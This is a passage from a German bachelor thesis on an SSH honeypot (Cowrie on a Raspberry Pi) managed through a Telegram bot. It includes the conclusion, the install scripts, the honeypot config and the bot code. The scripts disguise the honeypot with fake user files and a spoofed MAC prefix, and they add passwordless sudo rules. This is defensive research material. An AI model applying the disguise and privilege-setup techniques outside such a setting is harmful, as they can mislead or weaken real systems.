
beziehungsweise anacron aber auch ps die richtige Funktion aufweisen. Dielaufenden Prozesse hingegen sollten weder tsm32 noch tsm64 aufweisen.

Die Versuche SSH-Verbindungen auf zu bauen sind jedoch nur eine Möglich-keit in ein System ein zu brechen. Dementsprechend könnten noch weitereArten von Honeypots aufgesetzt werden, sofern sich die Hardware dazu eig-net.

Nach Beginn der Arbeit an dieser Bachelorthesis ist die vierte Generationder Raspberry Pis veröffentlicht worden. Diese haben je nach Modell bis zuvier Gigabyte Arbeitsspeicher verbaut. Durch die höhere Leistung bieten sichneue Erweiterungsmöglichkeiten für den Honeypot.

So könnte dieser beispielsweise um Heralding1 erweitert werden. Dabei han-delt es sich um einen Honeypot der die Daten der Anmeldeversuche für 12verschiedene Protokolle sammelt. Denkbar wäre auch die Kombination mitdiversen Administrationstools, welche über das Internet erreichbar sind undeinen schnell ersichtlichen Überblick bieten.

1https://github.com/johnnykv/heralding [Online; Stand 2. September 2019]

Page 56: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 7. Fazit 46

Eine Erweiterung für den Telegram-Bot wäre beispielsweise das automati-sierte Erstellen der Karte oder der Diagramme aus Kapitel 5. Damit wäre esmöglich einen schnelleren Überblick über die durchschnittlichen Werte wiezum Beispiel die meistverwendeten Benutzernamen oder Passwörter zu er-halten.

Denkbar wäre auch das Hinzufügen von weiteren administrativen Funktio-nen, wie in etwa das Löschen von Aufzeichnungen, die eine bestimmte Zeitüberschritten haben. Oder aber auch das Aktualisieren des Betriebssystemsoder des Gitlab-Repositoriums. Dadurch müsste seltener der SSH-Daemonlaufen, womit die Anzahl der möglichen Angriffspunkte des Systems verrin-gert wird.

Abschließend lässt sich jedoch sagen, dass dem Raspberry Pi mit der neuenund den kommenden Generationen noch mehr Möglichkeiten geboten sind,um Cyberangriffe auf zu zeichnen und zu analysieren. Mit ein wenig mehrArbeitsspeicher ließe sich auch ein kooperierendes Honeypot-Netzwerk wiezum Beispiel T-Pot2 auf diesen installieren. Mit einer Systemvoraussetzungvon 6 - 8 Gigabyte Arbeitsspeicher ist dies jedoch noch nicht möglich.

2https://github.com/dtag-dev-sec/tpotce [Online; Stand 2. September 2019]

Page 57: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

47

A Installations-Skripte

A.1 arm_install.sh

1 # ! / b in / sh2

3 # #### BEGIN PRELIMINARY CHECK BLOCK #####4 i f [ ! −e $1 ] ; then e x i t 1 ; f i5 i f [ ! −f authorized_keys ] ; then ssh−add −L >

authorized_keys ; f i6 i f [ $ ( id −u ) −ne 0 ] ; then exec sudo $0 $1 ; f i7

8 echo WARNING: This w i l l erase a l l data on $1

9 read −p " Type ’ yes ’ to continue : " −n 3 −r

10 echo11 i f [ [ ! $REPLY =~ ^( yes ) $ ] ] ; then e x i t 1 ; f i12 # #### END PRELIMINARY CHECK BLOCK #####13

14 # #### BEGIN CONFIG BLOCK #####15 b oo t _ d i r e c t o r y = ‘mktemp −d ‘

16 r o o t _ d i r e c t o r y = ‘mktemp −d ‘

17

18 b o o t _ p a r t i t i o n = ‘ echo $1 ‘ 1

19 r o o t _ p a r t i t i o n = ‘ echo $1 ‘ 2

20

21 arch_image=ArchLinuxARM−rpi−3− l a t e s t . t a r . gz

22 arch_ur l=http :// os . archlinuxarm . org/os/

23 # #### END CONFIG BLOCK #####24

25 # #### BEGIN DEVICE PREPARATION BLOCK #####26 # i n s t r u c t i o n s t a k e n from :27 # h t t p s : / / a r c h l i n u x a r m . org / p l a t f o r m s / armv828 # / broadcom / r a s p b e r r y−pi −3# i n s t a l l a t i o n29

30 # wipe t h e d e v i c e t o remove p r e v i o u s s i g n a t u r e s

Page 58: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 48

31 wipefs −−a l l −−f o r c e $1

32 wipefs ‘ echo $1 ‘∗33 (

34 echo o # c l e a r any p a r t i t i o n s35 echo w # w r i t e p a r t i t i o n t a b l e36 ) | f d i s k $1

37

38 # p a r t i t i o n t h e d e v i c e39 (

40 echo o # c l e a r any p a r t i t i o n s41 echo p # l i s t p a r t i t i o n s42 echo n # c r e a t e new p a r t i t i o n43 echo p # s e t t y p e t o pr imary44 echo # s e t p a r t i t i o n number ( d e f a u l t : 1 )45 echo # a c c e p t f i r s t d e f a u l t s e c t o r46 echo +100M # s e t p a r t i t i o n s i z e47 echo t # change p a r t i t i o n t y p e48 echo c # W95 FAT32 (LBA)49 echo n # c r e a t e new p a r t i t i o n50 echo p # s e t t y p e t o pr imary51 echo # s e t p a r t i t i o n number ( d e f a u l t : 2 )52 echo # a c c e p t f i r s t d e f a u l t s e c t o r53 echo # a c c e p t l a s t s e c t o r54 echo w # w r i t e p a r t i t i o n t a b l e55 ) | f d i s k $1

56

57 # c r e a t e and mount FAT f i l e s y s t e m ( b o o t )58 mkfs . v f a t −v $ b o o t _ p a r t i t i o n

59 mount −−verbose $ b o o t _ p a r t i t i o n $boot_di rec tory

60

61 # c r e a t e and mount e x t 4 f i l e s y s t e m ( r o o t )62 mkfs . ext4 −v $ r o o t _ p a r t i t i o n

63 mount −−verbose $ r o o t _ p a r t i t i o n $ r o o t _ d i r e c t o r y

64

65 # download f i l e s y s t e m i f not e x i s t e n t66 i f [ ! −f $arch_image ] ; then wget −−verbose

$arch_url$arch_image ; f i67

68 # e x t r a c t f i l e s y s t e m t o r o o t d i r e c t o r y69 bsdtar \

70 −−e x t r a c t \

Page 59: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 49

71 −−preserve−permissions \

72 −− f i l e $arch_image \

73 −−d i r e c t o r y $ r o o t _ d i r e c t o r y \

74 −−verbose

75 sync

76

77 # move b o o t f i l e s t o b o o t d i r e c t o r y78 mv −−verbose $ r o o t _ d i r e c t o r y /boot/∗ $boot_di rec tory

79

80 # copy c o n f i g u r a t i o n s c r i p t and add s s h key ( s )81 cp −−r e c u r s i v e −−verbose ‘ dirname $0 ‘/ cowrie_conf ig

$ r o o t _ d i r e c t o r y /root/

82 cp −−verbose ‘ dirname $0 ‘/ pi _ co nf i g . sh $ r o o t _ d i r e c t o r y /root

83

84 i f [ ! −d $ r o o t _ d i r e c t o r y /root / . ssh ] ; then85 mkdir $ r o o t _ d i r e c t o r y /root / . ssh

86 f i87

88 mv −−verbose authorized_keys $ r o o t _ d i r e c t o r y /root / . ssh/

89 # #### END DEVICE PREPARATION BLOCK #####90

91 # #### BEGIN END BLOCK #####92 umount −−verbose $boot_di rec tory $ r o o t _ d i r e c t o r y

93

94 rmdir −−verbose $boot_di rec tory

95 rmdir −−verbose $ r o o t _ d i r e c t o r y

96 # #### END END BLOCK #####

A.2 pi_config.sh

1 # ! / b in / sh2

3

4 # #### BEGIN PRELIMINARY CHECK BLOCK #####5 i f [ $ ( id −u ) −ne 0 ] ; then exec sudo $0 ; f i6

7 echo WARNING: This w i l l a f f e c t the whole system .

8 read −p " Type ’ yes ’ to continue : " −n 3 −r

9 echo10 i f [ [ ! $REPLY =~ ^( yes ) $ ] ] ; then e x i t 1 ; f i

Page 60: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 50

11 # #### END PRELIMINARY CHECK BLOCK #####12

13

14 # #### BEGIN CONFIG BLOCK #####15 cowrie_path=/opt/cowrie

16 cowrie_user=cowrie

17

18 honeybot_path=/opt/HoneyBot

19

20 pi_user=<enter username here >

21 pi_user_ id=<enter user id here >

22 pi_user_pw=<enter user password here >

23

24 pi_root_pw=<enter root password here >

25 # #### END CONFIG BLOCK #####26

27

28 # #### BEGIN PACMAN BLOCK #####29 # i n i t i a l i z a t i o n30 pacman−key −− i n i t

31 pacman−key −−populate archlinuxarm

32

33 # c o n f i g u r a t i o n34 sed −−in−place \

35 −−express ion ’ s/#Color/Color/g ’ \

36 −−express ion ’ s/# VerbosePkgLists/VerbosePkgLists/g ’ \

37 / e t c /pacman . conf

38

39 # sys t em u pd a t e40 pacman −−sync −−r e f r e s h −−sysupgrade −−noconfirm

41

42 # b a s e p a c k a g e s i n s t a l l a t i o n43 pacman −−sync −−needed −−noconfirm \

44 base \

45 base−devel \

46 g i t \

47 python

48 # #### END PACMAN BLOCK #####49

50

51 # #### BEGIN USER BLOCK #####

Page 61: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 51

52 # e n a b l e group whee l t o use sudo53 sed −−in−place \

54 ’ s/#\ %wheel\ ALL=(ALL) \ ALL/%wheel ALL=(ALL) ALL/g ’ \

55 / e t c /sudoers

56

57 # add custom d e f a u l t s and sudo p e r m i s s i o n s58 c a t >> / e t c /sudoers . d/ d e f a u l t s << EOF

59 ##60 ## D e f a u l t s s p e c i f i c a t i o n ( custom )61 ##62 Defaul ts targetpw

63 EOF

64

65 c a t >> / e t c /sudoers . d/cowrie << EOF

66 ##67 ## Cowrie r em ot e c o n t r o l68 ##69 $pi_user ALL=( $cowrie_user ) NOPASSWD: SETENV :

$cowrie_path/bin/cowrie force−stop

70 $pi_user ALL=( $cowrie_user ) NOPASSWD: SETENV :

$cowrie_path/bin/cowrie r e s t a r t

71 $pi_user ALL=( $cowrie_user ) NOPASSWD: SETENV :

$cowrie_path/bin/cowrie s t a r t

72 $pi_user ALL=( $cowrie_user ) NOPASSWD: SETENV :

$cowrie_path/bin/cowrie s t a t u s

73 $pi_user ALL=( $cowrie_user ) NOPASSWD: SETENV :

$cowrie_path/bin/cowrie stop

74 EOF

75

76 c a t >> / e t c /sudoers . d/sshd . s e r v i c e << EOF

77 ##78 ## SSH r em ot e c o n t r o l79 ##80 $pi_user ALL=(ALL) NOPASSWD: /bin/sys temct l −−output= c a t

−−show−t r a n s a c t i o n r e s t a r t sshd . s e r v i c e

81 $pi_user ALL=(ALL) NOPASSWD: /bin/sys temct l −−output= c a t−−show−t r a n s a c t i o n s t a r t sshd . s e r v i c e

82 $pi_user ALL=(ALL) NOPASSWD: /bin/sys temct l −−output= c a t−−show−t r a n s a c t i o n s t a t u s sshd . s e r v i c e

83 $pi_user ALL=(ALL) NOPASSWD: /bin/sys temct l −−output= c a t−−show−t r a n s a c t i o n stop sshd . s e r v i c e

Page 62: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 52

84 EOF

85

86 # d e l e t e d e f a u l t u s e r87 userdel −−remove −−f o r c e alarm

88

89 # add p i u s e r90 useradd \

91 −−uid $pi_user_ id \

92 −−crea te−home \

93 −−groups wheel \

94 $pi_user

95

96 groupmod −−gid $pi_user_ id $pi_user

97

98 # add c o w r i e u s e r99 useradd −−no−crea te−home $cowrie_user

100

101 # s e t r o o t password102 passwd << EOI

103 $pi_root_pw

104 $pi_root_pw

105 EOI

106

107 # s e t u s e r password108 passwd $pi_user << EOI

109 $pi_user_pw

110 $pi_user_pw

111 EOI

112 # #### END USER BLOCK #####113

114

115 # #### BEGIN SSH BLOCK #####116 mkdir −−verbose /home/$pi_user /. ssh

117

118 cp \

119 −−verbose \

120 /root /. ssh/authorized_keys \

121 /home/$pi_user /. ssh/

122

123 chown \

124 −−r e c u r s i v e \

Page 63: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 53

125 −−verbose \

126 $pi_user : $pi_user \

127 /home/$pi_user /. ssh

128

129 chmod −−verbose 700 /home/$pi_user /. ssh

130 chmod −−verbose 600 /home/$pi_user /. ssh/authorized_keys

131

132 # c o n f i g u r e daemon133 sed −−in−place \

134 −−express ion ’ s/# Port\ 22/ Port 222/g ’ \

135 −−express ion ’ s/# PasswordAuthentication\

yes/PasswordAuthentication no/g ’ \

136 / e t c /ssh/sshd_config

137 # #### END SSH BLOCK #####138

139

140 # #### BEGIN AUR HELPER BLOCK #####141 g i t c lone ht tps :// aur . archl inux . org/yay . g i t /opt/yay

142

143 chown \

144 −−r e c u r s i v e \

145 −−verbose \

146 $pi_user : $pi_user \

147 /opt/yay

148

149 su $pi_user << EOI

150 cd /opt/yay

151 echo $pi_user_pw | sudo −S echo152 makepkg −−syncdeps −− i n s t a l l −−noconfirm

153 yay −−sync −−noconfirm authbind

154 yay −Y −−c lean −−noconfirm

155 EOI

156 # #### END AUR HELPER BLOCK #####157

158

159 # #### BEGIN COWRIE BLOCK #####160 g i t c lone ht tps :// github . com/cowrie/cowrie $cowrie_path

161 cp −−r e c u r s i v e −−verbose ./ cowrie_conf ig /∗ $cowrie_path

162

163 # add f a k e u s e r d a t a

Page 64: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 54

164 $cowrie_path/bin/ f s c t l $cowrie_path/share/cowrie/ f s . p i c k l e

<< EOI

165 mv home/r ichard home/ w i l l i

166 mkdir home/jan

167 touch home/jan /. g i t c o n f i g 995

168 touch home/jan /.zcompdump−M−3PO−5.7 .1 1545

169 touch home/jan /. zshrc 1545

170 touch home/jan/apg . conf 433

171 mkdir home/jan/Desktop

172 mkdir home/jan/Documents

173 mkdir home/jan/Downloads

174 touch home/jan/Downloads/WAaT3LXtVm. jpg 544346

175 touch home/jan/Downloads/named . conf . defaul t−zones 671

176 touch home/jan/htop − 1 . 0 . 1 . t a r . gz 384683

177 mkdir home/jan/Music

178 mkdir home/jan/ P i c t u r e s

179 mkdir home/jan/Publ ic

180 mkdir home/jan/Templates

181 touch home/jan/tmp . t x t 12

182 mkdir home/jan/Videos

183 mkdir home/ t i n a

184 touch home/ t i n a /0001. pcap 683

185 touch home/ t i n a /anaconda−ks . c fg 1586

186 chmod 600 home/ t i n a /anaconda−ks . c fg

187 mkdir home/ t i n a /Desktop

188 mkdir home/ t i n a /Documents

189 mkdir home/ t i n a /Downloads

190 touch home/ t i n a /fbcmd_update . php 21262

191 touch home/ t i n a /index . html 46701

192 touch home/ t i n a / i n s t a l l . log 48867

193 touch home/ t i n a / i n s t a l l . log . sys log 11439

194 mkdir home/ t i n a /Music

195 mkdir home/ t i n a / P i c t u r e s

196 mkdir home/ t i n a /Publ ic

197 mkdir home/ t i n a /Templates

198 mkdir home/ t i n a /Videos

199 EOI

200

201 chown \

202 −−r e c u r s i v e \

203 −−verbose \

Page 65: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 55

204 $cowrie_user : $cowrie_user \

205 $cowrie_path

206

207 # e n a b l e c o w r i e on p o r t 22208 touch / e t c /authbind/byport /22

209

210 chown \

211 −−verbose \

212 $cowrie_user : $cowrie_user \

213 / e t c /authbind/byport /22

214

215 chmod −−verbose 770 / e t c /authbind/byport /22

216 # #### END COWRIE BLOCK #####217

218

219 # #### BEGIN HONEYBOT BLOCK #####220 g i t c lone ht tps :// g i t l a b . com/saver io . wel ler/honeybot

$honeybot_path

221

222 chown \

223 −−r e c u r s i v e \

224 −−verbose \

225 $pi_user : $pi_user \

226 $honeybot_path

227

228 cp \

229 −−verbose

230 $honeybot_path/cowrie_output_plugin/aiogram . py \

231 $cowrie_path/ s r c /cowrie/output/

232

233 chown \

234 −−verbose \

235 $cowrie_user : $cowrie_user \

236 $cowrie_path/ s r c /cowrie/output/aiogram . py

237

238 # c r e a t e sys t emd u n i t f i l e239 c a t > / e t c /systemd/system/honeybot_service << EOF

240 [ Unit ]

241 Descr ipt ion=HoneyBot

242 Wants=systemd−networkd−wait−onl ine . s e r v i c e

243 After=systemd−networkd−wait−onl ine . s e r v i c e

Page 66: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang A. Installations-Skripte 56

244

245 [ S e r v i c e ]

246 Type=simple

247

248 WorkingDirectory=$honeybot_path

249 E x e c S t a r t=/bin/sudo −−user $pi_user make run

250

251 [ I n s t a l l ]

252 RequiredBy=multi−user . t a r g e t

253 EOF

254

255 sys temct l enable honeybot . s e r v i c e

256

257 # s p o o f t h e p i vendor MAC258 current_network_device=$ ( ip route show d e f a u l t | awk ’ { p r i n t

$5 } ’ )

259 mac_address=$ ( \

260 ip addr show ‘ echo $current_network_device ‘ \

261 | grep " l i n k /ether " \

262 | awk ’ { p r i n t $2 } ’

263 )

264

265 c a t > / e t c /systemd/network/00−d e f a u l t . l i n k << EOF

266 [ Match ]

267 MACAddress=$mac_address

268

269 [ Link ]

270 MACAddress=30:9 c : 2 3 : $ ( echo $mac_address | cut −d : −f4 −6)

271 NamePolicy=kernel database onboard s l o t path

272 EOF

273

274 # i n i t i a l i z e HoneyBot275 su $pi_user << EOI

276 cd $honeybot_path

277 python −m venv −−prompt HoneyBot env278 source env/bin/ a c t i v a t e

279 pip i n s t a l l −−upgrade pip

280 pip i n s t a l l −−upgrade −−requirement requirements . t x t

281 EOI

282 # #### END HONEYBOT BLOCK #####

Page 67: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

57

B cowrie_config/cowrie.cfg

1 # ==========================================================

2 # General Cowrie Options

3 # ==========================================================

4 [ honeypot ]

5

6 # Hostname f o r the honeypot . Displayed by the s h e l l prompt

7 # of the v i r t u a l environment

8 #

9 # ( d e f a u l t : svr04 )

10 hostname = M−3PO

11

12 # Authent icat ion Timeout

13 # The server disconnects a f t e r t h i s time i f the user has

14 # not s u c c e s s f u l l y logged in . I f the value i s 0 , there i s

15 # no time l i m i t .

16 authent i ca t ion_ t imeout = 120

17

18 # Timezone Cowrie uses f o r logging

19 # This can be any va l id timezone f o r the TZ environment

20 # v a r i a b l e

21 timezone = Europe/ B e r l i n

22

23 # ==========================================================

24 # S h e l l Options

25 # Options around Cowrie ’ s S h e l l Emulation

26 # ==========================================================

27 [ s h e l l ]

28

29 # Fake a r c h i t e c t u r e s /OS

30 # When Cowrie r e c e i v e a command l i k e /bin/ c a t XXXX ( where

31 # XXXX i s an executab le ) i t r e p l i e s with the content of a

32 # dummy executab le ( l oc a te d in data_path/arch ) compiled f o r

33 # an a r c h i t e c t u r e /OS/endian_mode arch can be a comma

Page 68: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang B. cowrie_config/cowrie.cfg 58

34 # separated l i s t . When there are mult ip le elements , a random

35 # i s chosen at log in time .

36 arch = linux−x64−l s b

37

38 # Modify the response of ’/ bin/uname ’

39 kerne l_vers ion = 3.2.0−4−amd64

40 k e r n e l _ b u i l d _ s t r i n g = #1 SMP Debian 3.2.68−1+ deb7u1

41 hardware_platform = x86_64

42 operating_system = GNU/Linux

43

44 # SSH Version as pr inted by " ssh −V" in s h e l l emulation

45 ssh_vers ion = OpenSSH_7 . 9 p1 , OpenSSL 1 . 1 . 1 a 20 Nov 2018

46

47 # ==========================================================

48 # SSH S p e c i f i c Options

49 # ==========================================================

50 [ ssh ]

51

52 # SSH vers ion s t r i n g as present to the c l i e n t .

53 #

54 # Version s t r i n g MUST s t a r t with SSH−2.0− or SSH−1.99−55 #

56 # Use these to disguise your honeypot from a simple SSH

57 # vers ion scan

58 #

59 # Examples :

60 # SSH−2.0−OpenSSH_5 . 1 p1 Debian−5

61 # SSH−1.99−OpenSSH_4 . 3

62 # SSH−2.0−OpenSSH_4 . 2 p1 Debian−7ubuntu3 . 1

63 #

64 # ( d e f a u l t : "SSH−2.0−SSH−2.0−OpenSSH_6 . 0 p1 Debian−4+deb7u2 " )

65 vers ion = SSH−2.0−OpenSSH_6 . 0 p1 Debian−4+deb7u2

66

67 # Cipher encryption algori thms to be used .

68 #

69 # MUST be supplied as a comma−separated s t r i n g without

70 # any spaces or newlines .

71 #

72 # Use c iphers to l i m i t to more secure algori thms only

73 # any spaces .

74 # Supported c iphers :

Page 69: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang B. cowrie_config/cowrie.cfg 59

75 #

76 # aes128−c t r

77 # aes192−c t r

78 # aes256−c t r

79 # aes256−cbc

80 # aes192−cbc

81 # aes128−cbc

82 # 3des−cbc

83 # blowfish−cbc

84 # cast128−cbc

85 c iphers = aes128−c t r , aes192−c t r , aes256−c t r , aes256−cbc ,

aes192−cbc , aes128−cbc , 3 des−cbc , blowfish−cbc , cast128−cbc

86

87 # MAC Algorithm to be used .

88 #

89 # MUST be supplied as a comma−separated s t r i n g without

90 # any spaces or newlines .

91 #

92 # hmac−sha1 and hmac−md5 are considered insecure now, and

93 # ins tead MACs with higher number of b i t s should be used .

94 #

95 # Supported HMACs:

96 # hmac−sha2−512

97 # hmac−sha2−384

98 # hmac−sha2−256

99 # hmac−sha1

100 # hmac−md5

101 macs = hmac−sha2 −512 ,hmac−sha2 −384 ,hmac−sha2 −56,

hmac−sha1 , hmac−md5

102

103 # Compression Method to be used .

104 #

105 # MUST be supplied as a comma−separated s t r i n g without

106 # any spaces or newlines .

107 #

108 # Supported Compression Methods :

109 # zlib@openssh . com

110 # z l i b

111 # none

112 compression = zlib@openssh . com , z l i b , none

113

Page 70: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang B. cowrie_config/cowrie.cfg 60

114 # Endpoint to l i s t e n on f o r incoming SSH connect ions .

115 # ( d e f a u l t : l i s t e n _ e n d p o i n t s = tcp : 2 2 2 2 : i n t e r f a c e = 0 . 0 . 0 . 0 )

116 # For both IPv4 and IPv6 :

117 # l i s t e n _ e n d p o i n t s = tcp6 : 2 2 2 2 : i n t e r f a c e =\:\ :

118 #

119 # L is t e n in g on mult ip le endpoints i s supported with a s i n g l e

120 # space se pe ra to r e . g l i s t e n _ e n d p o i n t s =

121 # " tcp : 2 2 2 2 : i n t e r f a c e = 0 . 0 . 0 . 0 tcp : 1 0 2 2 : i n t e r f a c e = 0 . 0 . 0 . 0 "

122 # w i l l r e s u l t l i s t e n i n g both on ports 2222 and 1022

123 # use authbind f o r port numbers under 1024

124 l i s t e n _ e n d p o i n t s = tcp : 2 2 : i n t e r f a c e = 0 . 0 . 0 . 0

125

126 # ==========================================================

127 # Output Plugins

128 # These provide an e x t e n s i b l e mechanism to send audit log

129 # e n t r i e s to t h i r d p a r t i e s . The audit e n t r i e s conta in

130 # information on c l i e n t s connect ing to the honeypot .

131 #

132 # Output e n t r i e s need to s t a r t with ’ output_ ’

133 # and have the ’ enabled ’ entry .

134 # ==========================================================

135 [ output_aiogram ]

136 enabled = true

137 cmd_fi le = /opt/cowrie/commands . t x t

138 # regular express ion ( i f ending with $ : $$ expected )

139 f i l t e r = ^cowrie \ . ( ( command\. input ) |( log in \. success ) |

( s e s s i o n \ . ( c losed|connect|fi le_download ) ) ) $$

140 geoip_database = /usr/share/GeoIP/GeoIPCity . dat

141 id = <enter user/chat id >

142 l o g _ f i l e = /opt/cowrie/login_at tempts . t x t

143 token = <enter token id >

Page 71: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

61

C HoneyBot

C.1 HoneyBot.py

1 # ! / usr / b in / env python2 # −∗− c o d i n g : u t f −8 −∗−3

4 """5 F i l e : HoneyBot . py6 Author : S a v e r i o W e l l e r7 Email : w e l l e r . s a v e r i o @ g m a i l . com8 G i t l a b : h t t p s : / / g i t l a b . com / s a v e r i o . w e l l e r9 D e s c r i p t i o n : Te l egram b o t t o manage c o w r i e h o n e y p o t

10 and t o e x e c u t e sys t em s p e c i f i c commands11 """12

13 import logging

14 import subprocess

15 import yaml

16

17 from aiogram import Bot , Dispatcher , executor , types

18

19 CONFIG = yaml . sa fe_ load ( open ( " conf ig . yaml " , " r " ) )

20 BOT = Bot ( token=CONFIG[ " bot " ] [ " token " ] )

21 DISPATCHER = Dispatcher (BOT)

22

23 # c o n f i g u r e l o g g i n g24 logging . bas icConf ig ( l e v e l =logging . INFO)

25

26

27 def custom_keyboard ( ) :

28 """ P r o v i d e a custom k e y b o a r d with p r e d e f i n e d commands ."""

29 keyboard = types . reply_keyboard . ReplyKeyboardMarkup (

30 res ize_keyboard=True )

Page 72: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 62

31

32 for command in [ " cowrie " , " ssh " ] :

33 keyboard . row ( )

34 for button in CONFIG[command ] [ " buttons " ] :

35 keyboard . i n s e r t ( button )

36

37 return keyboard

38

39

40 async def on_startup ( dispatcher ) :

41 """ Send s t a r t u p n o t i f i c a t i o n . """42 await BOT. send_message (

43 CONFIG[ " bot " ] [ " admin_id " ] ,

44 CONFIG[ " bot " ] [ " s t a r t u p " ] ,

45 reply_markup=custom_keyboard ( )

46 )

47

48

49 @DISPATCHER. message_handler ( commands=[ " s t a r t " ] )

50 async def send_welcome ( message : types . Message ) :

51 """ Send a g r e e t i n g and p r o v i d e a custom k e y b o a r d . """52 await BOT. send_message (

53 message . chat . id ,

54 CONFIG[ " bot " ] [ " g r e e t i n g " ] ,

55 reply_markup=custom_keyboard ( )

56 )

57

58

59 @DISPATCHER. message_handler ( commands=[ " cowrie " ] )

60 async def cowrie_contro l ( message : types . Message ) :

61 """ Handle b a s i c c o w r i e commands . """62 response = CONFIG[ " cowrie " ] [ " usage " ]

63

64 i f message . get_args ( ) in CONFIG[ " cowrie " ] [ "commands" ] :

65 response = subprocess . check_output (

66 [ f " sudo \

67 −−preserve−env \

68 −−user {CONFIG[ ’ cowrie ’ ] [ ’ user ’ ] } \

69 {CONFIG[ ’ cowrie ’ ] [ ’ path ’ ] }

{ message . get_args ( ) } ; \

70 e x i t 0 " ] ,

Page 73: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 63

71 s h e l l =True ,

72 s t d e r r =subprocess .STDOUT,

73 t e x t =True

74 )

75

76 await BOT. send_message ( message . chat . id , response )

77

78

79 @DISPATCHER. message_handler ( commands=[ " ssh " ] )

80 async def s s h _ c o n t r o l ( message : types . Message ) :

81 """ Handle b a s i c s s h commands . """82 response = CONFIG[ " ssh " ] [ " usage " ]

83

84 i f message . get_args ( ) in CONFIG[ " ssh " ] [ "commands" ] :

85 response = subprocess . check_output (

86 [ f " sudo sys temct l \

87 −−output= c a t \

88 −−show−t r a n s a c t i o n \

89 { message . get_args ( ) } \

90 sshd . s e r v i c e ; \

91 e x i t 0 " ] ,

92 s h e l l =True ,

93 s t d e r r =subprocess .STDOUT,

94 t e x t =True

95 )

96

97 await BOT. send_message ( message . chat . id , response )

98

99

100 i f __name__ == " __main__ " :

101 executor . s t a r t _ p o l l i n g (DISPATCHER, on_startup=on_startup )

C.2 config.yaml

1 bot :

2 token : "012345678 : ABCdeFGhIJ1klMnOpqRs23t4uVWxYz56789 "

3 s t a r t u p : "Up and running . "

4 g r e e t i n g : " Avai lable commands:\n /cowrie\n /ssh "

5 admin_id : 012345678

6

Page 74: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 64

7 cowrie :

8 path : "/ opt/cowrie/bin/cowrie "

9 user : " cowrie "

10 commands :

11 − " force−stop "

12 − " r e s t a r t "

13 − " s t a r t "

14 − " s t a t u s "

15 − " stop "

16 buttons :

17 − "/ cowrie s t a r t "

18 − "/ cowrie s t a t u s "

19 − "/ cowrie stop "

20 usage : " Usage :\n/cowrie

< s t a r t |stop|force−stop| r e s t a r t |s ta tus >"

21

22 ssh :

23 commands :

24 − " r e s t a r t "

25 − " s t a r t "

26 − " s t a t u s "

27 − " stop "

28 buttons :

29 − "/ ssh s t a r t "

30 − "/ ssh s t a t u s "

31 − "/ ssh stop "

32 usage : " Usage :\n/ssh < s t a r t |stop| r e s t a r t |s ta tus >"

C.3 Makefile

1 .PHONY: c lean f r e e z e l i n t run

2

3 main = HoneyBot . py

4 cowrie_plugin = cowrie_output_plugin/aiogram . py

5 modules = requirements . t x t

6 venv = env

7

8 $ ( venv ) : $ ( venv ) /bin/ a c t i v a t e

9 $ ( venv ) /bin/ a c t i v a t e : $ ( modules )

Page 75: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 65

